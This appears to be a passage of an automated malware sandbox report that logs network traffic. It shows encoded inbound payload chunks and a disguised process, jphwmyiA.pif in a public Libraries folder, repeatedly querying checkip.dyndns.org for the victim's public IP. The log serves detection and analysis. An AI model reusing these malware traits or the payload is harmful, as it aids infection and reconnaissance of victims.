7kJ5gjHwqGYZPgnTCXZC8OdY8iduygnRTvcdgdgIC7lCG/mSu/q7LR0kJJCzBa4wFe+ksvy6QREmJpu8+agtJeqtmFeVCENhr6ROpB03YruMUo4gK06ui12QHjNYqaZYk/VIQ+R4RobsVCvlcDR86lI31mhBbfdNyTUYVHuhxkrBUYhZ4oKR82eLWDYXAQxgBMPHyIAET2wrrdR0B1OBO7K95D5efTDibZIwT396Od55dKE6FdlRqKWj8EvKX6mXk1QFfECz4Ng1/bAFxtHJQQK0AdbXp4FUIdn0eOZ1ThHgC4+rmCQkXOX1aK/NK17m+4THtbZCY4lWmMm8Lh3dSKTlFZ67/331TvVxywG0OWYHbOf8wD5SQtXCEdEoIuzWxA67Xe8UxZtk3y8gIW/JW8sqDA+EzliSDyQk96HVIeEZ7/7AeS1vOSX11YpfXoQBZvLYnklo/VfupaxBnBpTNN3FMIMCLlax5SYkyxpWOKiYTeIdWzc2rItO0E8BXNOCZZ0j9HT0VoREt+WvZ0ekSsabmoNiMKNlvJ+HZ/OpMOWHchRA506tnIj6V84gpW54IVGTYqCHgRxaj16bv8v4M2ppTtDRamUj0/+B4IUSOq8NmtrZxEw319Ahp9rEVCt4QGnIyb06J9RInN++LyYkzFvnftlZ/OcelWjIW+zTIJN4iQYXt+A+JiQl+s61EuArEfDWhSysUv/yjLAurEvw9ZGtR3oEDgeN2R/ZH/Drld0n0x5FXISs8cpX+FqGq/PeY/tmtI8imSdVN9/HMZsIU0bdr/G6+zVKynwxxuoxTdVyNLQ5EUHNfVmbJf9Kz4FgihDrFm+nMmsORWNyoD11ED1VddIMmNVtbQo1ui3McYULPagkJH6ZlJbwR2hBaNALai3LHoGtv2fz32TZCu2Kx5dk2sPepb2WBIrXzSsH5uu
Jan 6, 2025 07:54:05.433360100 CET	1236	IN	Data Raw: 64 74 4b 58 30 49 4e 66 44 47 4e 32 54 2b 6a 65 6e 4b 64 6c 71 77 50 64 4a 64 44 54 65 6e 5a 41 6c 52 36 76 75 78 5a 64 33 48 70 42 6b 36 57 79 6b 61 52 78 53 69 31 50 46 77 6e 41 76 32 79 76 59 4f 49 68 71 65 67 4d 2b 67 30 58 49 70 59 6f 46 55 Data Ascii: dtKX0INfDGN2T+jenKdlqwPdJdDTenZAlR6vuxZd3HpBk6WykaRxSi1PFwnAv2yvYOIhqegM+g0XIpYoFUIlb0HuN6l0phSViOqV4M3gsCgKWrS23OiYk9cS3S3oYQy+3cht9JiQpPbJ8VZgQQ2GqoGeUJCaTas/nQ90UUSvXo2V57O9LTObKKXBJ+PmQ2yXdKwzqi7j7xUIZAT0JGW3xXEPmaTXj+PIfdcMA2yr3IGvlEdZPBx
Jan 6, 2025 07:54:05.433372974 CET	1236	IN	Data Raw: 32 32 68 4f 79 4d 41 67 4f 6a 73 59 4d 30 31 50 77 4a 69 53 59 72 67 71 33 50 68 41 53 62 6f 74 4a 79 55 77 56 45 36 4f 79 38 4c 74 6b 2f 2f 4f 67 75 45 6a 62 4b 41 72 71 6d 64 72 35 71 32 59 54 49 30 62 77 74 77 69 6b 77 4c 63 34 49 62 77 43 78 Data Ascii: 22hOyMAgOjsYM01PwJiSYrgq3PhASbotJyUwVE6Oy8Ltk//OguEjbKArqmdr5q2YTI0bwtwikwLc4IbwCxbyeXjrF+GvPuWLzHOGWy984Hdv3fLLmUwatD23Y3jT+0Rx4ecGyKiQmtBVt0MVBIq3qkM6oBVB7LbiXbgVdoTnOhYrzMmhgsJqABiimR4DFhmdGlkncl3gdLoles451ClqcYrq5posNU3I4sLGnlA9TkSngjx7kv/
Jan 6, 2025 07:54:05.433382988 CET	672	IN	Data Raw: 71 39 4a 74 2b 37 32 46 79 57 39 6d 68 66 43 51 6b 59 71 55 39 76 33 42 39 42 6a 36 4e 55 4b 32 75 63 6d 6e 75 52 61 61 54 45 69 74 4b 33 32 35 61 6f 77 73 2f 4e 39 65 5a 54 35 59 50 55 6b 72 6c 6c 55 39 34 49 79 68 6d 78 4a 4e 68 67 69 64 51 59 Data Ascii: q9Jt+72FyW9mhfCQkYqU9v3B9Bj6NUK2ucmnuRaaTEitK325aows/N9eZT5YPUkrllU94IyhmxJNhgidQYMyESW/yLEzAfDOTGEth2XIogA30U4TOOcogNFTBjVRAn1kYa8gnuTwGJX/WJCR3LBUBigzbhlJLG+XgJ8tYBfF3qha7MRMfxbzwzScmJBCWqwS2Wh7+xMUexV8QEaeT+LMqxncyFNYWlOfjKRfIHm210U8R1Bh3or
Jan 6, 2025 07:54:05.433396101 CET	1236	IN	Data Raw: 79 61 78 4a 5a 69 54 43 2b 62 6f 7a 2b 5a 6e 64 57 72 49 4a 38 2f 44 61 58 56 4c 6d 45 68 67 62 78 67 7a 69 39 6d 33 6b 43 55 49 55 4b 33 6e 4e 78 4a 69 52 4a 64 6b 62 6d 6c 61 63 51 6b 55 79 49 2f 55 51 73 35 49 30 31 64 2f 74 6d 52 4d 68 38 4b Data Ascii: yaxJZiTC+boz+ZndWrIJ8/DaXVLmEhgbxgzi9m3kCUIUK3nNxJiRJdkbmlacQkUyI/UQs5I01d/tmRMh8KGjsSynRT45SzSHwy542khE2TdLZNWgJL2F+hTyY8D8vr4lDcR9TIuaGV28GTDvRzCO2WBInj8Uerk8WUHnhGNlZGwN6d+uuWO33a8z9ze0LDYTPDspV769lmF3mODv/95XIGb4kJhgkJIXTI5Y/ISCOv+ANbbPbOw
Jan 6, 2025 07:54:05.433404922 CET	224	IN	Data Raw: 65 38 67 4c 36 4c 38 38 53 56 39 65 32 76 47 34 45 73 70 41 43 47 2f 59 72 7a 65 6b 76 4c 4f 61 34 2f 32 7a 6c 49 52 54 4b 49 4d 32 54 38 38 74 72 43 78 59 4e 5a 37 73 66 4e 4f 4c 6d 33 6e 59 48 75 6e 2f 49 44 74 42 59 32 68 4d 2f 7a 37 57 78 71 Data Ascii: e8gL6L88SV9e2vG4EspACG/YrzekvLOa4/2zlIRTKIM2T88trCxYNZ7sfNOLm3nYHun/IDtBY2hM/z7WxqSC4oQ747Cms9EzBt8aTDvuWvOplOhYCLretxY8ZjsJXYE8bd2HynJiTyEKcsylKNyBGUQugjqW0LpWoN0hT8pEzLXB9eeNlbcpCND/3lzwQfahs+GE34h9Ca+1VNeRRmmcYckrqkKKH20W
Jan 6, 2025 07:54:05.433660030 CET	1236	IN	Data Raw: 54 34 30 68 41 54 67 43 46 53 67 42 34 6d 61 66 54 57 35 76 47 57 7a 56 57 56 35 46 72 44 30 4e 38 31 37 47 62 64 6e 38 37 47 54 68 59 6e 68 55 67 6d 57 6d 58 71 72 68 78 76 43 73 74 4b 2f 71 56 4f 68 69 48 35 63 2b 51 38 65 64 76 47 68 49 4b 41 Data Ascii: T40hATgCFSgB4mafTW5vGWzVWV5FrD0N817Gbdn87GThYnhUgmWmXqrhxvCstK/qVOhiH5c+Q8edvGhIKAcHmM9PR343/ynkQHh1MsxI/yuZ8lQTCa+wEBlzjO174rex2LrBnBgzzMuAfTIu2q3waw4r4AtyX8uN+HAn1Z9wTddbB0Z7txXFYGxFg4A4x2MvOhvHJkfHpRCgf6aK2lbg5F5KNT+lIR3/v7raWsdMcAmhpw/FjHn
Jan 6, 2025 07:54:05.433671951 CET	1236	IN	Data Raw: 61 31 35 58 47 47 43 59 6d 34 5a 38 4c 54 4c 5a 64 65 58 47 49 54 6c 7a 62 6f 50 32 5a 6c 68 61 68 4d 4d 6a 31 50 34 33 79 63 62 67 33 74 54 55 67 76 6c 59 59 56 41 72 55 4b 51 6b 71 6d 38 65 65 6a 49 76 47 6b 48 4b 32 36 6d 76 31 6f 50 43 30 67 Data Ascii: a15XGGCYm4Z8LTLZdeXGITlzboP2ZlhahMMj1P43ycbg3tTUgvlYYVArUKQkqm8eejIvGkHK26mv1oPC0gx/0S+KkNA9UR3W3kZRP6h5F7vpA7LiWECVAQRGM7CYktF2r973c5r9BFFzuacRoWGbbmPS1a6rtY9XkEsUoFmTufLGL6RzXQtNTyCMSz5K2IwtH1nIYbqx6QOpUI2k+MED62U4P8DaCazu1WxXeIM6vS/FwrRi9+C
Jan 6, 2025 07:54:05.433685064 CET	448	IN	Data Raw: 42 56 6a 77 37 35 78 33 6d 50 4a 42 72 69 77 58 70 4e 4b 50 46 30 53 65 48 75 6b 69 66 66 47 48 64 73 59 30 7a 46 4f 37 32 36 6a 59 6a 51 5a 76 33 42 32 50 39 69 64 70 78 6f 78 66 34 51 59 31 2b 39 57 33 68 45 68 61 37 31 38 79 39 64 67 63 5a 78 Data Ascii: BVjw75x3mPJBriwXpNKPF0SeHukiffGHdsY0zFO726jYjQZv3B2P9idpxoxf4QY1+9W3hEha718y9dgcZxaGpXrJR2AkPU+psb7YJJCR/GGOrLX9oLhto9uukkc+j0og8IwgdxcBx9hHCvbhxJiS5pJy/KrPJdOLBsCGhgPm2EKKIhnpoa+c2Lqj5MMt/BNoeDmlFuBdrwyeaTkszLG4BsEUVphkIGvSHbBCDT9ICzGW6P447tO
Jan 6, 2025 07:54:05.433696032 CET	1236	IN	Data Raw: 2b 5a 6e 31 4d 56 50 4a 31 6b 79 68 37 34 51 71 54 36 74 35 4d 76 70 69 49 58 63 67 4e 67 4c 76 69 6a 53 4f 30 56 4e 62 50 45 57 4d 76 78 50 7a 53 6a 32 6f 6e 59 34 68 69 61 58 73 6e 66 46 4d 43 6b 37 39 5a 31 50 6a 48 70 67 31 30 54 73 5a 44 35 Data Ascii: +Zn1MVPJ1kyh74QqT6t5MvpiIXcgNgLvijSO0VNbPEWMvxPzSj2onY4hiaXsnfFMCk79Z1PjHpg10TsZD5PDXfCux5VbyCxoEJRbFWD2HSYZe1GIyvCIyVOHHAMTFqO2284Xz2J1NDVKTKrp0wFHgXE1jBP4he7yX6ZKpu8UmJISziWsh4YnpZ4ACrrIAWMvTJWWI8QwNoaB2bO81lSgsXyqNStZQDAkNLkCdc8SMLIySDN1tbZ
Jan 6, 2025 07:54:05.438313007 CET	1236	IN	Data Raw: 41 6f 64 75 7a 54 64 35 54 36 57 6b 48 55 35 56 72 4a 43 59 4b 78 79 4d 55 33 4f 5a 46 55 72 33 77 2b 54 49 34 71 6e 6e 58 4c 2b 5a 54 77 72 52 4c 5a 47 63 55 44 4b 34 4b 49 70 57 5a 62 35 33 35 34 41 36 41 79 63 51 68 46 42 2b 63 37 50 6e 32 6e Data Ascii: AoduzTd5T6WkHU5VrJCYKxyMU3OZFUr3w+TI4qnnXL+ZTwrRLZGcUDK4KIpWZb5354A6AycQhFB+c7Pn2nQR/UY6Yuf/fa9JX+FKo0VNXstmzVEpWE5Y8Hkpelsy7wiQkxe9tOu+jK0FCPrLP1ZFIGQdbTu9FGYQqpK7DkI+O95AxEHSi3SvlEBhAeCjAGqftj9/XPfeXGOe51bxUeuwSo/QQNqs+4MJEcOE8b6dUJCYBBG1QoW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49723	132.226.8.169	80	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:10.990698099 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:11.775665998 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:54:11.818860054 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:12.103647947 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:54:13.717377901 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:13.988286972 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49731	132.226.8.169	80	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:14.624490023 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:15.370594025 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49736	132.226.8.169	80	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:15.988140106 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:16.802356958 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	53584	132.226.8.169	80	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:17.503892899 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:18.455593109 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	53597	132.226.8.169	80	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:19.068025112 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:19.847596884 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	53606	132.226.8.169	80	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:20.643907070 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:21.500524044 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	53618	132.226.8.169	80	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:22.127638102 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:22.889813900 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	53623	132.226.8.169	80	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:22.610833883 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:23.538500071 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:54:23.569864988 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:23.837054014 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:54:24.859649897 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:25.127861023 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	53630	132.226.8.169	80	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:23.520108938 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:24.304143906 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:54:24.519486904 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	53650	132.226.8.169	80	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:25.818768024 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:26.919437885 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	53662	132.226.8.169	80	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:27.580108881 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:28.345350027 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
